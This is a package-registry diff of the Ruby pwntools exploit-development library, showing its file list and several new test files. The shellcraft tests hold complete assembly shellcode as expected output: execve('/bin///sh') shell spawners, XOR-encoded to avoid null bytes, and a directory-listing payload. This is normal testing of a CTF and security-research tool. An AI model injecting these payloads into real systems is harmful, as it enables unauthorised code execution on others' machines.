pwntools 0.1.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +88 -11
- data/Rakefile +5 -1
- data/lib/pwn.rb +9 -7
- data/lib/pwnlib/abi.rb +60 -0
- data/lib/pwnlib/asm.rb +146 -0
- data/lib/pwnlib/constants/constant.rb +16 -2
- data/lib/pwnlib/constants/constants.rb +35 -19
- data/lib/pwnlib/constants/linux/amd64.rb +30 -1
- data/lib/pwnlib/context.rb +25 -17
- data/lib/pwnlib/dynelf.rb +117 -54
- data/lib/pwnlib/elf/elf.rb +267 -0
- data/lib/pwnlib/ext/helper.rb +4 -4
- data/lib/pwnlib/logger.rb +87 -0
- data/lib/pwnlib/memleak.rb +58 -29
- data/lib/pwnlib/pwn.rb +19 -8
- data/lib/pwnlib/reg_sort.rb +102 -108
- data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +31 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +127 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +27 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +64 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +32 -0
- data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +21 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +21 -0
- data/lib/pwnlib/shellcraft/generators/helper.rb +106 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +17 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +90 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +16 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +39 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +19 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +26 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +22 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +15 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +15 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +85 -0
- data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +82 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +69 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +14 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +66 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +52 -0
- data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
- data/lib/pwnlib/shellcraft/registers.rb +145 -0
- data/lib/pwnlib/shellcraft/shellcraft.rb +67 -0
- data/lib/pwnlib/timer.rb +60 -0
- data/lib/pwnlib/tubes/buffer.rb +96 -0
- data/lib/pwnlib/tubes/sock.rb +95 -0
- data/lib/pwnlib/tubes/tube.rb +270 -0
- data/lib/pwnlib/util/cyclic.rb +95 -94
- data/lib/pwnlib/util/fiddling.rb +256 -220
- data/lib/pwnlib/util/getdents.rb +83 -0
- data/lib/pwnlib/util/hexdump.rb +109 -108
- data/lib/pwnlib/util/lists.rb +55 -0
- data/lib/pwnlib/util/packing.rb +226 -228
- data/lib/pwnlib/util/ruby.rb +18 -0
- data/lib/pwnlib/version.rb +2 -1
- data/test/abi_test.rb +21 -0
- data/test/asm_test.rb +104 -0
- data/test/constants/constant_test.rb +1 -0
- data/test/constants/constants_test.rb +4 -2
- data/test/context_test.rb +1 -0
- data/test/data/echo.rb +20 -0
- data/test/data/elfs/Makefile +22 -0
- data/test/data/elfs/amd64.frelro.elf +0 -0
- data/test/data/elfs/amd64.frelro.pie.elf +0 -0
- data/test/data/elfs/amd64.nrelro.elf +0 -0
- data/test/data/elfs/amd64.prelro.elf +0 -0
- data/test/data/elfs/i386.frelro.pie.elf +0 -0
- data/test/data/elfs/i386.prelro.elf +0 -0
- data/test/data/elfs/source.cpp +19 -0
- data/test/data/flag +1 -0
- data/test/data/lib32/ld.so.2 +0 -0
- data/test/data/lib32/libc.so.6 +0 -0
- data/test/data/lib64/ld.so.2 +0 -0
- data/test/data/lib64/libc.so.6 +0 -0
- data/test/dynelf_test.rb +59 -24
- data/test/elf/elf_test.rb +120 -0
- data/test/ext_test.rb +3 -2
- data/test/files/use_pwnlib.rb +1 -1
- data/test/logger_test.rb +61 -0
- data/test/memleak_test.rb +4 -33
- data/test/reg_sort_test.rb +3 -1
- data/test/shellcraft/infloop_test.rb +26 -0
- data/test/shellcraft/linux/ls_test.rb +108 -0
- data/test/shellcraft/linux/sh_test.rb +119 -0
- data/test/shellcraft/linux/syscalls/execve_test.rb +136 -0
- data/test/shellcraft/linux/syscalls/syscall_test.rb +83 -0
- data/test/shellcraft/memcpy_test.rb +35 -0
- data/test/shellcraft/mov_test.rb +98 -0
- data/test/shellcraft/nop_test.rb +26 -0
- data/test/shellcraft/popad_test.rb +29 -0
- data/test/shellcraft/pushstr_array_test.rb +91 -0
- data/test/shellcraft/pushstr_test.rb +108 -0
- data/test/shellcraft/registers_test.rb +32 -0
- data/test/shellcraft/ret_test.rb +30 -0
- data/test/shellcraft/setregs_test.rb +62 -0
- data/test/shellcraft/shellcraft_test.rb +28 -0
- data/test/test_helper.rb +12 -1
- data/test/timer_test.rb +23 -0
- data/test/tubes/buffer_test.rb +45 -0
- data/test/tubes/sock_test.rb +68 -0
- data/test/tubes/tube_test.rb +241 -0
- data/test/util/cyclic_test.rb +2 -1
- data/test/util/fiddling_test.rb +2 -1
- data/test/util/getdents_test.rb +32 -0
- data/test/util/hexdump_test.rb +7 -9
- data/test/util/lists_test.rb +21 -0
- data/test/util/packing_test.rb +4 -3
- metadata +215 -25
data/test/ext_test.rb
CHANGED
@@ -1,13 +1,14 @@
|
|
1
1
|
# encoding: ASCII-8BIT
|
2
2
|
|
3
3
|
require 'test_helper'
|
4
|
+
|
4
5
|
require 'pwnlib/ext/array'
|
5
6
|
require 'pwnlib/ext/integer'
|
6
7
|
require 'pwnlib/ext/string'
|
7
8
|
|
8
9
|
class ExtTest < MiniTest::Test
|
9
|
-
# Thought that test one method in each module for each type is enough, since it's quite
|
10
|
-
#
|
10
|
+
# Thought that test one method in each module for each type is enough, since it's quite stupid (and meaningless) to
|
11
|
+
# copy the list of proxied functions to here...
|
11
12
|
def test_ext_string
|
12
13
|
assert_equal(0x4142, 'AB'.u16(endian: 'be'))
|
13
14
|
assert_equal([1, 1, 0, 0, 0, 1, 0, 0], "\xC4".bits)
|
data/test/files/use_pwnlib.rb
CHANGED
@@ -8,7 +8,7 @@ require 'pwnlib/util/packing'
|
|
8
8
|
|
9
9
|
raise 'call from module fail' unless ::Pwnlib::Util::Packing.p8(0x61) == 'a'
|
10
10
|
|
11
|
-
include ::Pwnlib::Util::Packing
|
11
|
+
include ::Pwnlib::Util::Packing
|
12
12
|
raise 'include module and call fail' unless p8(0x61) == 'a'
|
13
13
|
|
14
14
|
begin
|
data/test/logger_test.rb
ADDED
@@ -0,0 +1,61 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'test_helper'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/logger'
|
7
|
+
|
8
|
+
class LoggerTest < MiniTest::Test
|
9
|
+
include ::Pwnlib::Context
|
10
|
+
include ::Pwnlib::Logger
|
11
|
+
|
12
|
+
def setup
|
13
|
+
@logger = ::Pwnlib::Logger::LoggerType.new
|
14
|
+
class << @logger
|
15
|
+
def add(*args)
|
16
|
+
clear
|
17
|
+
super
|
18
|
+
@logdev.string
|
19
|
+
end
|
20
|
+
|
21
|
+
def indented(*args)
|
22
|
+
clear
|
23
|
+
super(*args)
|
24
|
+
@logdev.string
|
25
|
+
end
|
26
|
+
|
27
|
+
def clear
|
28
|
+
@logdev = StringIO.new
|
29
|
+
end
|
30
|
+
end
|
31
|
+
end
|
32
|
+
|
33
|
+
def test_log
|
34
|
+
str = 'darkhh i4 so s4d'
|
35
|
+
context.local(log_level: DEBUG) do
|
36
|
+
%w(DEBUG INFO WARN ERROR FATAL).each do |type|
|
37
|
+
assert_equal("[#{type}] #{str}\n", @logger.public_send(type.downcase, str))
|
38
|
+
assert_equal("[#{type}] #{str}\n", @logger.public_send(type.downcase) { str })
|
39
|
+
end
|
40
|
+
end
|
41
|
+
|
42
|
+
assert_empty(@logger.debug(str))
|
43
|
+
assert_empty(@logger.debug { str })
|
44
|
+
%w(INFO WARN ERROR FATAL).each do |type|
|
45
|
+
assert_equal("[#{type}] #{str}\n", @logger.public_send(type.downcase, str))
|
46
|
+
assert_equal("[#{type}] #{str}\n", @logger.public_send(type.downcase) { str })
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def test_indented
|
51
|
+
assert_silent { log.indented('darkhh', level: DEBUG) }
|
52
|
+
assert_empty(@logger.indented('A', level: DEBUG))
|
53
|
+
|
54
|
+
data = ['meow', 'meow meow', 'meowmeowmeow'].join("\n")
|
55
|
+
assert_equal(<<-EOS, @logger.indented(data, level: INFO))
|
56
|
+
meow
|
57
|
+
meow meow
|
58
|
+
meowmeowmeow
|
59
|
+
EOS
|
60
|
+
end
|
61
|
+
end
|
data/test/memleak_test.rb
CHANGED
@@ -5,44 +5,15 @@ require 'open3'
|
|
5
5
|
require 'tty-platform'
|
6
6
|
|
7
7
|
require 'test_helper'
|
8
|
+
|
8
9
|
require 'pwnlib/memleak'
|
9
10
|
|
10
11
|
class MemLeakTest < MiniTest::Test
|
11
12
|
def setup
|
12
|
-
@victim = IO.binread(File.expand_path('
|
13
|
+
@victim = IO.binread(File.expand_path('data/victim32', __dir__))
|
13
14
|
@leak = ::Pwnlib::MemLeak.new { |addr| @victim[addr] }
|
14
15
|
end
|
15
16
|
|
16
|
-
def test_find_elf_base_basic
|
17
|
-
assert_equal(0, @leak.find_elf_base(@victim.length * 2 / 3))
|
18
|
-
end
|
19
|
-
|
20
|
-
def test_find_elf_base_running
|
21
|
-
skip 'Only tested on linux' unless TTY::Platform.new.linux?
|
22
|
-
[32, 64].each do |b|
|
23
|
-
# TODO(hh): Use process instead of popen2
|
24
|
-
Open3.popen2(File.expand_path("../data/victim#{b}", __FILE__)) do |i, o, t|
|
25
|
-
main_ra = o.readline[2...-1].to_i(16)
|
26
|
-
realbase = nil
|
27
|
-
IO.readlines("/proc/#{t.pid}/maps").map(&:split).each do |s|
|
28
|
-
st, ed = s[0].split('-').map { |x| x.to_i(16) }
|
29
|
-
next unless main_ra.between?(st, ed)
|
30
|
-
realbase = st
|
31
|
-
break
|
32
|
-
end
|
33
|
-
refute_nil(realbase)
|
34
|
-
mem = open("/proc/#{t.pid}/mem", 'rb')
|
35
|
-
l2 = ::Pwnlib::MemLeak.new do |addr|
|
36
|
-
mem.seek(addr)
|
37
|
-
mem.getc
|
38
|
-
end
|
39
|
-
assert_equal(realbase, l2.find_elf_base(main_ra))
|
40
|
-
mem.close
|
41
|
-
i.write('bye')
|
42
|
-
end
|
43
|
-
end
|
44
|
-
end
|
45
|
-
|
46
17
|
def test_n
|
47
18
|
assert_equal("\x7fELF", @leak.n(0, 4))
|
48
19
|
assert_equal(@victim[0xf0, 0x20], @leak.n(0xf0, 0x20))
|
@@ -50,8 +21,8 @@ class MemLeakTest < MiniTest::Test
|
|
50
21
|
end
|
51
22
|
|
52
23
|
def test_b
|
53
|
-
assert_equal(@victim[0x100], @leak.b(0x100))
|
54
|
-
assert_equal(@victim[514], @leak.b(514))
|
24
|
+
assert_equal(::Pwnlib::Util::Packing.u8(@victim[0x100]), @leak.b(0x100))
|
25
|
+
assert_equal(::Pwnlib::Util::Packing.u8(@victim[514]), @leak.b(514))
|
55
26
|
end
|
56
27
|
|
57
28
|
def test_w
|
data/test/reg_sort_test.rb
CHANGED
@@ -0,0 +1,26 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'test_helper'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/shellcraft/shellcraft'
|
7
|
+
|
8
|
+
class InfloopTest < MiniTest::Test
|
9
|
+
include ::Pwnlib::Context
|
10
|
+
|
11
|
+
def setup
|
12
|
+
@shellcraft = ::Pwnlib::Shellcraft::Shellcraft.instance
|
13
|
+
end
|
14
|
+
|
15
|
+
def test_amd64
|
16
|
+
context.local(arch: 'amd64') do
|
17
|
+
assert_match(/\Ainfloop_\d+:\n jmp infloop_\d+\n\Z/, @shellcraft.infloop)
|
18
|
+
end
|
19
|
+
end
|
20
|
+
|
21
|
+
def test_i386
|
22
|
+
context.local(arch: 'i386') do
|
23
|
+
assert_match(/\Ainfloop_\d+:\n jmp infloop_\d+\n\Z/, @shellcraft.infloop)
|
24
|
+
end
|
25
|
+
end
|
26
|
+
end
|
@@ -0,0 +1,108 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'test_helper'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/shellcraft/shellcraft'
|
7
|
+
|
8
|
+
class LsTest < MiniTest::Test
|
9
|
+
include ::Pwnlib::Context
|
10
|
+
|
11
|
+
def setup
|
12
|
+
@shellcraft = ::Pwnlib::Shellcraft::Shellcraft.instance
|
13
|
+
end
|
14
|
+
|
15
|
+
def test_amd64
|
16
|
+
context.local(arch: 'amd64') do
|
17
|
+
assert_equal(<<-'EOS', @shellcraft.ls)
|
18
|
+
/* push ".\x00" */
|
19
|
+
push 0x2e
|
20
|
+
/* call open("rsp", 0, 0) */
|
21
|
+
push 2 /* (SYS_open) */
|
22
|
+
pop rax
|
23
|
+
mov rdi, rsp
|
24
|
+
xor esi, esi /* 0 */
|
25
|
+
cdq /* rdx=0 */
|
26
|
+
syscall
|
27
|
+
/* call getdents("rax", "rsp", 4096) */
|
28
|
+
mov rdi, rax
|
29
|
+
push 0x4e /* (SYS_getdents) */
|
30
|
+
pop rax
|
31
|
+
mov rsi, rsp
|
32
|
+
xor edx, edx
|
33
|
+
mov dh, 0x1000 >> 8
|
34
|
+
syscall
|
35
|
+
/* call write(1, "rsp", "rax") */
|
36
|
+
push 1
|
37
|
+
pop rdi
|
38
|
+
mov rsi, rsp
|
39
|
+
mov rdx, rax
|
40
|
+
push 1 /* (SYS_write) */
|
41
|
+
pop rax
|
42
|
+
syscall
|
43
|
+
EOS
|
44
|
+
assert_equal(<<-'EOS', @shellcraft.ls('/usr/bin'))
|
45
|
+
/* push "/usr/bin\x00" */
|
46
|
+
push 1
|
47
|
+
dec byte ptr [rsp]
|
48
|
+
mov rax, 0x6e69622f7273752f
|
49
|
+
push rax
|
50
|
+
/* call open("rsp", 0, 0) */
|
51
|
+
push 2 /* (SYS_open) */
|
52
|
+
pop rax
|
53
|
+
mov rdi, rsp
|
54
|
+
xor esi, esi /* 0 */
|
55
|
+
cdq /* rdx=0 */
|
56
|
+
syscall
|
57
|
+
/* call getdents("rax", "rsp", 4096) */
|
58
|
+
mov rdi, rax
|
59
|
+
push 0x4e /* (SYS_getdents) */
|
60
|
+
pop rax
|
61
|
+
mov rsi, rsp
|
62
|
+
xor edx, edx
|
63
|
+
mov dh, 0x1000 >> 8
|
64
|
+
syscall
|
65
|
+
/* call write(1, "rsp", "rax") */
|
66
|
+
push 1
|
67
|
+
pop rdi
|
68
|
+
mov rsi, rsp
|
69
|
+
mov rdx, rax
|
70
|
+
push 1 /* (SYS_write) */
|
71
|
+
pop rax
|
72
|
+
syscall
|
73
|
+
EOS
|
74
|
+
end
|
75
|
+
end
|
76
|
+
|
77
|
+
def test_i386
|
78
|
+
context.local(arch: 'i386') do
|
79
|
+
assert_equal(<<-'EOS', @shellcraft.ls)
|
80
|
+
/* push ".\x00" */
|
81
|
+
push 0x2e
|
82
|
+
/* call open("esp", 0, 0) */
|
83
|
+
push 5 /* (SYS_open) */
|
84
|
+
pop eax
|
85
|
+
mov ebx, esp
|
86
|
+
xor ecx, ecx /* 0 */
|
87
|
+
cdq /* edx=0 */
|
88
|
+
int 0x80
|
89
|
+
/* call getdents("eax", "esp", 4096) */
|
90
|
+
mov ebx, eax
|
91
|
+
xor eax, eax
|
92
|
+
mov al, 0x8d /* (SYS_getdents) */
|
93
|
+
mov ecx, esp
|
94
|
+
xor edx, edx
|
95
|
+
mov dh, 0x1000 >> 8
|
96
|
+
int 0x80
|
97
|
+
/* call write(1, "esp", "eax") */
|
98
|
+
push 1
|
99
|
+
pop ebx
|
100
|
+
mov ecx, esp
|
101
|
+
mov edx, eax
|
102
|
+
push 4 /* (SYS_write) */
|
103
|
+
pop eax
|
104
|
+
int 0x80
|
105
|
+
EOS
|
106
|
+
end
|
107
|
+
end
|
108
|
+
end
|
@@ -0,0 +1,119 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'test_helper'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/shellcraft/shellcraft'
|
7
|
+
|
8
|
+
class ShTest < MiniTest::Test
|
9
|
+
include ::Pwnlib::Context
|
10
|
+
|
11
|
+
def setup
|
12
|
+
@shellcraft = ::Pwnlib::Shellcraft::Shellcraft.instance
|
13
|
+
end
|
14
|
+
|
15
|
+
def test_amd64
|
16
|
+
context.local(arch: 'amd64') do
|
17
|
+
assert_equal(<<-'EOS', @shellcraft.sh)
|
18
|
+
/* push "/bin///sh\x00" */
|
19
|
+
push 0x68
|
20
|
+
mov rax, 0x732f2f2f6e69622f
|
21
|
+
push rax
|
22
|
+
|
23
|
+
/* call execve("rsp", 0, 0) */
|
24
|
+
push 0x3b /* (SYS_execve) */
|
25
|
+
pop rax
|
26
|
+
mov rdi, rsp
|
27
|
+
xor esi, esi /* 0 */
|
28
|
+
cdq /* rdx=0 */
|
29
|
+
syscall
|
30
|
+
EOS
|
31
|
+
assert_equal(<<-'EOS', @shellcraft.sh(argv: true))
|
32
|
+
/* push argument array ["sh\x00"] */
|
33
|
+
/* push "sh\x00" */
|
34
|
+
push 0x1010101 ^ 0x6873
|
35
|
+
xor dword ptr [rsp], 0x1010101
|
36
|
+
xor esi, esi /* 0 */
|
37
|
+
push rsi /* null terminate */
|
38
|
+
push 8
|
39
|
+
pop rsi
|
40
|
+
add rsi, rsp
|
41
|
+
push rsi /* "sh\x00" */
|
42
|
+
mov rsi, rsp
|
43
|
+
|
44
|
+
/* push "/bin///sh\x00" */
|
45
|
+
push 0x68
|
46
|
+
mov rax, 0x732f2f2f6e69622f
|
47
|
+
push rax
|
48
|
+
|
49
|
+
/* call execve("rsp", "rsi", 0) */
|
50
|
+
push 0x3b /* (SYS_execve) */
|
51
|
+
pop rax
|
52
|
+
mov rdi, rsp
|
53
|
+
cdq /* rdx=0 */
|
54
|
+
syscall
|
55
|
+
EOS
|
56
|
+
assert_equal(<<-'EOS', @shellcraft.sh(argv: ['sh', '-c', 'echo pusheen']))
|
57
|
+
/* push argument array ["sh\x00", "-c\x00", "echo pusheen\x00"] */
|
58
|
+
/* push "sh\x00-c\x00echo pusheen\x00" */
|
59
|
+
push 0x1010101 ^ 0x6e65
|
60
|
+
xor dword ptr [rsp], 0x1010101
|
61
|
+
mov rax, 0x6568737570206f68
|
62
|
+
push rax
|
63
|
+
mov rax, 0x101010101010101
|
64
|
+
push rax
|
65
|
+
mov rax, 0x626401622c016972 /* 0x101010101010101 ^ 0x636500632d006873 */
|
66
|
+
xor [rsp], rax
|
67
|
+
xor esi, esi /* 0 */
|
68
|
+
push rsi /* null terminate */
|
69
|
+
push 0xe
|
70
|
+
pop rsi
|
71
|
+
add rsi, rsp
|
72
|
+
push rsi /* "echo pusheen\x00" */
|
73
|
+
push 0x13
|
74
|
+
pop rsi
|
75
|
+
add rsi, rsp
|
76
|
+
push rsi /* "-c\x00" */
|
77
|
+
push 0x18
|
78
|
+
pop rsi
|
79
|
+
add rsi, rsp
|
80
|
+
push rsi /* "sh\x00" */
|
81
|
+
mov rsi, rsp
|
82
|
+
|
83
|
+
/* push "/bin///sh\x00" */
|
84
|
+
push 0x68
|
85
|
+
mov rax, 0x732f2f2f6e69622f
|
86
|
+
push rax
|
87
|
+
|
88
|
+
/* call execve("rsp", "rsi", 0) */
|
89
|
+
push 0x3b /* (SYS_execve) */
|
90
|
+
pop rax
|
91
|
+
mov rdi, rsp
|
92
|
+
cdq /* rdx=0 */
|
93
|
+
syscall
|
94
|
+
EOS
|
95
|
+
end
|
96
|
+
end
|
97
|
+
|
98
|
+
def test_i386
|
99
|
+
context.local(arch: 'i386') do
|
100
|
+
assert_equal(<<-'EOS', @shellcraft.sh)
|
101
|
+
/* push "/bin///sh\x00" */
|
102
|
+
push 0x68
|
103
|
+
push 0x732f2f2f
|
104
|
+
push 0x6e69622f
|
105
|
+
|
106
|
+
/* call execve("esp", 0, 0) */
|
107
|
+
push 0xb /* (SYS_execve) */
|
108
|
+
pop eax
|
109
|
+
mov ebx, esp
|
110
|
+
xor ecx, ecx /* 0 */
|
111
|
+
cdq /* edx=0 */
|
112
|
+
int 0x80
|
113
|
+
EOS
|
114
|
+
assert_equal(@shellcraft.execve('/bin///sh', ['sh'], 0), @shellcraft.sh(argv: true))
|
115
|
+
assert_equal(@shellcraft.execve('/bin///sh', ['sh', '-c', 'echo pusheen'], 0),
|
116
|
+
@shellcraft.sh(argv: ['sh', '-c', 'echo pusheen']))
|
117
|
+
end
|
118
|
+
end
|
119
|
+
end
|
@@ -0,0 +1,136 @@
|
|
1
|
+
# encoding: ASCII-8BIT
|
2
|
+
|
3
|
+
require 'test_helper'
|
4
|
+
|
5
|
+
require 'pwnlib/context'
|
6
|
+
require 'pwnlib/shellcraft/shellcraft'
|
7
|
+
|
8
|
+
class ExecveTest < MiniTest::Test
|
9
|
+
include ::Pwnlib::Context
|
10
|
+
|
11
|
+
def setup
|
12
|
+
@shellcraft = ::Pwnlib::Shellcraft::Shellcraft.instance
|
13
|
+
end
|
14
|
+
|
15
|
+
def test_amd64
|
16
|
+
context.local(arch: 'amd64') do
|
17
|
+
assert_equal(<<-'EOS', @shellcraft.execve('/bin///sh', 0, nil))
|
18
|
+
/* push "/bin///sh\x00" */
|
19
|
+
push 0x68
|
20
|
+
mov rax, 0x732f2f2f6e69622f
|
21
|
+
push rax
|
22
|
+
|
23
|
+
/* call execve("rsp", 0, 0) */
|
24
|
+
push 0x3b /* (SYS_execve) */
|
25
|
+
pop rax
|
26
|
+
mov rdi, rsp
|
27
|
+
xor esi, esi /* 0 */
|
28
|
+
cdq /* rdx=0 */
|
29
|
+
syscall
|
30
|
+
EOS
|
31
|
+
assert_equal(<<-'EOS', @shellcraft.execve('rax', ['sh'], PWD: '.'))
|
32
|
+
/* push argument array ["sh\x00"] */
|
33
|
+
/* push "sh\x00" */
|
34
|
+
push 0x1010101 ^ 0x6873
|
35
|
+
xor dword ptr [rsp], 0x1010101
|
36
|
+
xor esi, esi /* 0 */
|
37
|
+
push rsi /* null terminate */
|
38
|
+
push 8
|
39
|
+
pop rsi
|
40
|
+
add rsi, rsp
|
41
|
+
push rsi /* "sh\x00" */
|
42
|
+
mov rsi, rsp
|
43
|
+
|
44
|
+
/* push argument array ["PWD=.\x00"] */
|
45
|
+
/* push "PWD=.\x00" */
|
46
|
+
mov rax, 0x101010101010101
|
47
|
+
push rax
|
48
|
+
mov rax, 0x101012f3c455651 /* 0x101010101010101 ^ 0x2e3d445750 */
|
49
|
+
xor [rsp], rax
|
50
|
+
xor edx, edx /* 0 */
|
51
|
+
push rdx /* null terminate */
|
52
|
+
push 8
|
53
|
+
pop rdx
|
54
|
+
add rdx, rsp
|
55
|
+
push rdx /* "PWD=.\x00" */
|
56
|
+
mov rdx, rsp
|
57
|
+
|
58
|
+
/* call execve("rax", "rsi", "rdx") */
|
59
|
+
mov rdi, rax
|
60
|
+
push 0x3b /* (SYS_execve) */
|
61
|
+
pop rax
|
62
|
+
syscall
|
63
|
+
EOS
|
64
|
+
assert_equal(<<-'EOS', @shellcraft.execve('rdi', 'rsi', 'rdx'))
|
65
|
+
/* call execve("rdi", "rsi", "rdx") */
|
66
|
+
push 0x3b /* (SYS_execve) */
|
67
|
+
pop rax
|
68
|
+
syscall
|
69
|
+
EOS
|
70
|
+
err = assert_raises(ArgumentError) { @shellcraft.execve('rdi', 'rdi', 'xdd') }
|
71
|
+
assert_match(/not a valid register/, err.message)
|
72
|
+
err = assert_raises(ArgumentError) { @shellcraft.execve('rdi', 'qqpie', 'rdi') }
|
73
|
+
assert_match(/not a valid register/, err.message)
|
74
|
+
end
|
75
|
+
end
|
76
|
+
|
77
|
+
def test_i386
|
78
|
+
context.local(arch: 'i386') do
|
79
|
+
assert_equal(<<-'EOS', @shellcraft.execve('/bin///sh', 0, nil))
|
80
|
+
/* push "/bin///sh\x00" */
|
81
|
+
push 0x68
|
82
|
+
push 0x732f2f2f
|
83
|
+
push 0x6e69622f
|
84
|
+
|
85
|
+
/* call execve("esp", 0, 0) */
|
86
|
+
push 0xb /* (SYS_execve) */
|
87
|
+
pop eax
|
88
|
+
mov ebx, esp
|
89
|
+
xor ecx, ecx /* 0 */
|
90
|
+
cdq /* edx=0 */
|
91
|
+
int 0x80
|
92
|
+
EOS
|
93
|
+
assert_equal(<<-'EOS', @shellcraft.execve('eax', ['sh'], PWD: '.'))
|
94
|
+
/* push argument array ["sh\x00"] */
|
95
|
+
/* push "sh\x00" */
|
96
|
+
push 0x1010101
|
97
|
+
xor dword ptr [esp], 0x1016972 /* 0x1010101 ^ 0x6873 */
|
98
|
+
xor ecx, ecx /* 0 */
|
99
|
+
push ecx /* null terminate */
|
100
|
+
push 4
|
101
|
+
pop ecx
|
102
|
+
add ecx, esp
|
103
|
+
push ecx /* "sh\x00" */
|
104
|
+
mov ecx, esp
|
105
|
+
|
106
|
+
/* push argument array ["PWD=.\x00"] */
|
107
|
+
/* push "PWD=.\x00" */
|
108
|
+
push 0x2e
|
109
|
+
push 0x3d445750
|
110
|
+
xor edx, edx /* 0 */
|
111
|
+
push edx /* null terminate */
|
112
|
+
push 4
|
113
|
+
pop edx
|
114
|
+
add edx, esp
|
115
|
+
push edx /* "PWD=.\x00" */
|
116
|
+
mov edx, esp
|
117
|
+
|
118
|
+
/* call execve("eax", "ecx", "edx") */
|
119
|
+
mov ebx, eax
|
120
|
+
push 0xb /* (SYS_execve) */
|
121
|
+
pop eax
|
122
|
+
int 0x80
|
123
|
+
EOS
|
124
|
+
assert_equal(<<-'EOS', @shellcraft.execve('ebx', 'ecx', 'edx'))
|
125
|
+
/* call execve("ebx", "ecx", "edx") */
|
126
|
+
push 0xb /* (SYS_execve) */
|
127
|
+
pop eax
|
128
|
+
int 0x80
|
129
|
+
EOS
|
130
|
+
err = assert_raises(ArgumentError) { @shellcraft.execve('edi', 'esi', 'xdd') }
|
131
|
+
assert_match(/not a valid register/, err.message)
|
132
|
+
err = assert_raises(ArgumentError) { @shellcraft.execve('edi', 'qqpie', 'edi') }
|
133
|
+
assert_match(/not a valid register/, err.message)
|
134
|
+
end
|
135
|
+
end
|
136
|
+
end
|